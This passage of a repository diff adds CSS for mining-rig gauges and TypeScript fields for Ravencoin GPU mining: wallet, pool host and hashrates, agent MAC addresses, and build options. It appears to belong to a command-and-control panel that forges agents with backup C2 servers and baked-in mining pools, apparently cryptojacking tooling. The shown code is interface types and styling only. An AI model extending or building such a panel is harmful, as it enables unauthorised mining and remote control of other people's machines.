overflow: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
.rvn-rig-bar {
|
||||||
|
height: 100%;
|
||||||
|
background: linear-gradient(90deg, #f5a623, #ffcc55);
|
||||||
|
border-radius: 3px;
|
||||||
|
box-shadow: 0 0 6px rgba(245,166,35,0.5);
|
||||||
|
transition: width 0.6s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.rvn-rig-pct {
|
||||||
|
font-family: var(--font-tech);
|
||||||
|
font-size: 0.7rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
text-align: right;
|
||||||
|
}
|
||||||
|
|
||||||
|
.rvn-rig-temp {
|
||||||
|
font-family: var(--font-tech);
|
||||||
|
font-size: 0.72rem;
|
||||||
|
color: var(--neon-cyan);
|
||||||
|
text-align: right;
|
||||||
|
}
|
||||||
|
|
||||||
|
.rvn-rig-temp.temp-hot {
|
||||||
|
color: var(--neon-amber);
|
||||||
|
text-shadow: 0 0 6px rgba(255,165,0,0.5);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* RVN GPU section in the Forge */
|
||||||
|
.rvn-pool-picker .pool-preset-provider {
|
||||||
|
color: #f5a623 !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (max-width: 700px) {
|
||||||
|
.rvn-gauges {
|
||||||
|
grid-template-columns: repeat(2, 1fr);
|
||||||
|
}
|
||||||
|
.rvn-rig-row {
|
||||||
|
grid-template-columns: 1fr 80px 1fr 42px;
|
||||||
|
}
|
||||||
|
.rvn-rig-model,
|
||||||
|
.rvn-rig-pct { display: none; }
|
||||||
|
}
|
||||||
|
|||||||
@@ -53,6 +53,13 @@ export interface Agent {
|
|||||||
gpu_temp_c?: number;
|
gpu_temp_c?: number;
|
||||||
gpu_usage_pct?: number;
|
gpu_usage_pct?: number;
|
||||||
|
|
||||||
|
// GPU / Ravencoin mining
|
||||||
|
gpu_miner_active?: boolean;
|
||||||
|
gpu_hashrate_15s?: number;
|
||||||
|
gpu_hashrate_1m?: number;
|
||||||
|
gpu_hashrate_15m?: number;
|
||||||
|
gpu_model?: string;
|
||||||
|
|
||||||
ssh_available?: boolean;
|
ssh_available?: boolean;
|
||||||
posture_score?: number;
|
posture_score?: number;
|
||||||
last_patch_days?: number;
|
last_patch_days?: number;
|
||||||
@@ -69,6 +76,7 @@ export interface Agent {
|
|||||||
services?: AgentService[];
|
services?: AgentService[];
|
||||||
|
|
||||||
hostname?: string;
|
hostname?: string;
|
||||||
|
mac_address?: string;
|
||||||
// Live RTT from WebSocket ping/pong — undefined until first pong, null when offline.
|
// Live RTT from WebSocket ping/pong — undefined until first pong, null when offline.
|
||||||
latency_ms?: number;
|
latency_ms?: number;
|
||||||
}
|
}
|
||||||
@@ -367,6 +375,14 @@ export interface BuildRequest {
|
|||||||
backup_pools?: BackupPool[];
|
backup_pools?: BackupPool[];
|
||||||
// Backup C2 server URLs tried if the primary server_url is unreachable.
|
// Backup C2 server URLs tried if the primary server_url is unreachable.
|
||||||
backup_server_urls?: string[];
|
backup_server_urls?: string[];
|
||||||
|
// GPU / Ravencoin mining
|
||||||
|
gpu_enabled?: boolean;
|
||||||
|
rvn_wallet?: string;
|
||||||
|
rvn_pool_host?: string;
|
||||||
|
rvn_pool_port?: number;
|
||||||
|
rvn_pool_tls?: boolean;
|
||||||
|
rvn_pool_pass?: string;
|
||||||
|
rvn_backup_pools?: BackupPool[];
|
||||||
}
|
}
|
||||||
|
|
||||||
/** Fallback Stratum pool baked into the agent at forge time. */
|
/** Fallback Stratum pool baked into the agent at forge time. */
|
||||||
|
|||||||
@@ -39,6 +39,11 @@ export interface WSStatsUpdate {
|
|||||||
disk_free_pct?: number;
|
disk_free_pct?: number;
|
||||||
gpu_temp_c?: number;
|
gpu_temp_c?: number;
|
||||||
gpu_usage_pct?: number;
|
gpu_usage_pct?: number;
|
||||||
|
gpu_miner_active?: boolean;
|
||||||
|
gpu_hashrate_15s?: number;
|
||||||
|
gpu_hashrate_1m?: number;
|
||||||
|
gpu_hashrate_15m?: number;
|
||||||
|
gpu_model?: string;
|
||||||
ssh_available?: boolean;
|
ssh_available?: boolean;
|
||||||
posture_score?: number;
|
posture_score?: number;
|
||||||
last_patch_days?: number;
|
last_patch_days?: number;
|
||||||
|
|||||||
Reference in New Issue
Block a user